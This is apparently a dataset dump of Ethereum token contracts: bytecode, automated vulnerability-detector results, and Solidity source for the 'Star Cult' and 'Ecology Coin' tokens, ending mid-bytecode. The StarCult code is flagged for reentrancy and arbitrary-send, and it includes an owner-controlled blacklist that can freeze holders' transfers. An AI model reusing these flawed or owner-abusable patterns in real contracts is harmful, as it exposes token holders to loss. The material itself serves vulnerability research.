d565b600d5542600f55565b600082820183811015610a6957fe5b600082821115610ab557fe5b50900390565b600a8190556040805182815290517f7323532efb3d92305f89d5c3e3292758e6aabb03b80c96167f26695697a8ed8e9181900360200190a1505600a165627a7a723058200952f460121375aae5da9b0cfd2f4fdbccbc3e6738565c79724e259552bef2150029
{"success": true, "error": null, "results": {"detectors": [{"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,468
0x0E3EB382ac35078e18c95dE7b65834B68B30fA9e
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: UNLICENSED /** t.me/starcultentry **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract StarCult is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Star Cult"; string private constant _symbol = "STARCULT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(100); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 7; _feeAddr2 = 8; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 7; _feeAddr2 = 8; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c9578063c3c8cd80146102e9578063c9567bf9146102fe578063dd62ed3e14610313578063e9e1831a1461035957600080fd5b8063715018a61461023b5780638da5cb5b1461025057806395d89b4114610278578063a9059cbb146102a957600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780636fc3eaec1461020657806370a082311461021b57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600981526814dd185c8810dd5b1d60ba1b60208201525b60405161014991906114f5565b60405180910390f35b34801561015e57600080fd5b5061017261016d36600461156f565b61036e565b6040519015158152602001610149565b34801561018e57600080fd5b50683635c9adc5dea000005b604051908152602001610149565b3480156101b457600080fd5b506101726101c336600461159b565b610385565b3480156101d457600080fd5b506101e86101e33660046115dc565b6103ee565b005b3480156101f657600080fd5b5060405160098152602001610149565b34801561021257600080fd5b506101e8610442565b34801561022757600080fd5b5061019a6102363660046115dc565b61044f565b34801561024757600080fd5b506101e8610471565b34801561025c57600080fd5b506000546040516001600160a01b039091168152602001610149565b34801561028457600080fd5b5060408051808201909152600881526714d5105490d5531560c21b602082015261013c565b3480156102b557600080fd5b506101726102c436600461156f565b6104e5565b3480156102d557600080fd5b506101e86102e436600461160f565b6104f2565b3480156102f557600080fd5b506101e8610646565b34801561030a57600080fd5b506101e861065c565b34801561031f57600080fd5b5061019a61032e3660046116d4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036557600080fd5b506101e8610884565b600061037b338484610a48565b5060015b92915050565b6000610392848484610b6c565b6103e484336103df856040518060600160405280602881526020016118d6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e62565b610a48565b5060019392505050565b6000546001600160a01b031633146104215760405162461bcd60e51b81526004016104189061170d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b4761044c81610e9c565b50565b6001600160a01b03811660009081526002602052604081205461037f90610ed6565b6000546001600160a01b0316331461049b5760405162461bcd60e51b81526004016104189061170d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037b338484610b6c565b6000546001600160a01b0316331461051c5760405162461bcd60e51b81526004016104189061170d565b60005b815181101561064257600c5482516001600160a01b039091169083908390811061054b5761054b611742565b60200260200101516001600160a01b03161415801561059c5750600d5482516001600160a01b039091169083908390811061058857610588611742565b60200260200101516001600160a01b031614155b80156105d35750306001600160a01b03168282815181106105bf576105bf611742565b60200260200101516001600160a01b031614155b15610630576001600660008484815181106105f0576105f0611742565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061063a8161176e565b91505061051f565b5050565b60006106513061044f565b905061044c81610f53565b6000546001600160a01b031633146106865760405162461bcd60e51b81526004016104189061170d565b600d54600160a01b900460ff16156106e05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071d3082683635c9adc5dea00000610a48565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f9190611787565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611787565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611787565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146108ae5760405162461bcd60e51b81526004016104189061170d565b600c546001600160a01b031663f305d71947306108ca8161044f565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610947573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096c91906117a4565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044c91906117d2565b6000610a4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110cd565b9392505050565b6001600160a01b038316610aaa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b038216610b0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610c325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b60008111610c945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b6001600160a01b03831660009081526006602052604090205460ff16158015610cd657506001600160a01b03821660009081526006602052604090205460ff16155b610cdf57600080fd5b60076009556008600a556000546001600160a01b03848116911614801590610d1557506000546001600160a01b03838116911614155b15610e5257600d546001600160a01b038481169116148015610d455750600c546001600160a01b03838116911614155b8015610d6a57506001600160a01b03821660009081526005602052604090205460ff16155b15610d7e57600e54811115610d7e57600080fd5b600c546001600160a01b03848116911614801590610db557506001600160a01b03831660009081526005602052604090205460ff16155b15610ddb57600d546001600160a01b0390811690831603610ddb5760076009556008600a555b6000610de63061044f565b600d54909150600160a81b900460ff16158015610e115750600d546001600160a01b03858116911614155b8015610e265750600d54600160b01b900460ff165b15610e5057610e3481610f53565b476706f05b59d3b20000811115610e4e57610e4e47610e9c565b505b505b610e5d8383836110fb565b505050565b60008184841115610e865760405162461bcd60e51b815260040161041891906114f5565b506000610e9384866117f4565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610642573d6000803e3d6000fd5b6000600754821115610f3d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610418565b6000610f47611106565b9050610a4183826109ff565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f9b57610f9b611742565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ff4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110189190611787565b8160018151811061102b5761102b611742565b6001600160a01b039283166020918202929092010152600c546110519130911684610a48565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061108a90859060009086903090429060040161180b565b600060405180830381600087803b1580156110a457600080fd5b505af11580156110b8573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600081836110ee5760405162461bcd60e51b815260040161041891906114f5565b506000610e93848661187c565b610e5d838383611129565b6000806000611113611220565b909250905061112282826109ff565b9250505090565b60008060008060008061113b87611262565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061116d90876112bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461119c9086611301565b6001600160a01b0389166000908152600260205260409020556111be81611360565b6111c884836113aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161120d91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061123c82826109ff565b82101561125957505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061127f8a600954600a546113ce565b925092509250600061128f611106565b905060008060006112a28e878787611423565b919e509c509a509598509396509194505050505091939550919395565b6000610a4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e62565b60008061130e838561189e565b905083811015610a415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b600061136a611106565b905060006113788383611473565b306000908152600260205260409020549091506113959082611301565b30600090815260026020526040902055505050565b6007546113b790836112bf565b6007556008546113c79082611301565b6008555050565b60008080806113e860646113e28989611473565b906109ff565b905060006113fb60646113e28a89611473565b905060006114138261140d8b866112bf565b906112bf565b9992985090965090945050505050565b60008080806114328886611473565b905060006114408887611473565b9050600061144e8888611473565b905060006114608261140d86866112bf565b939b939a50919850919650505050505050565b6000826000036114855750600061037f565b600061149183856118b6565b90508261149e858361187c565b14610a415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b600060208083528351808285015260005b8181101561152257858101830151858201604001528201611506565b81811115611534576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044c57600080fd5b803561156a8161154a565b919050565b6000806040838503121561158257600080fd5b823561158d8161154a565b946020939093013593505050565b6000806000606084860312156115b057600080fd5b83356115bb8161154a565b925060208401356115cb8161154a565b929592945050506040919091013590565b6000602082840312156115ee57600080fd5b8135610a418161154a565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561162257600080fd5b823567ffffffffffffffff8082111561163a57600080fd5b818501915085601f83011261164e57600080fd5b813581811115611660576116606115f9565b8060051b604051601f19603f83011681018181108582111715611685576116856115f9565b6040529182528482019250838101850191888311156116a357600080fd5b938501935b828510156116c8576116b98561155f565b845293850193928501926116a8565b98975050505050505050565b600080604083850312156116e757600080fd5b82356116f28161154a565b915060208301356117028161154a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161178057611780611758565b5060010190565b60006020828403121561179957600080fd5b8151610a418161154a565b6000806000606084860312156117b957600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117e457600080fd5b81518015158114610a4157600080fd5b60008282101561180657611806611758565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561185b5784516001600160a01b031683529383019391830191600101611836565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261189957634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b1576118b1611758565b500190565b60008160001904831182151516156118d0576118d0611758565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7cb412e7f0f2a94b19a7fc2918729d112e2f323f27ce4854397119e95f672fa64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,469
0x3f5d2f65f4ead8c8a902d0d0fc5dc7c56ceeae48
/** *Submitted for verification at Etherscan.io on 2021-05-02 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Ecology Coin' token contract // // Symbol : ECL // Name : Ecology Coin // Total supply: 5 000 000 000 // Decimals : 6 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ECL is BurnableToken { string public constant name = "Ecology Coin"; string public constant symbol = "ECL"; uint public constant decimals = 6; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 5000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600c81526020017f45636f6c6f677920436f696e000000000000000000000000000000000000000081525081565b600081600360003373fffffffff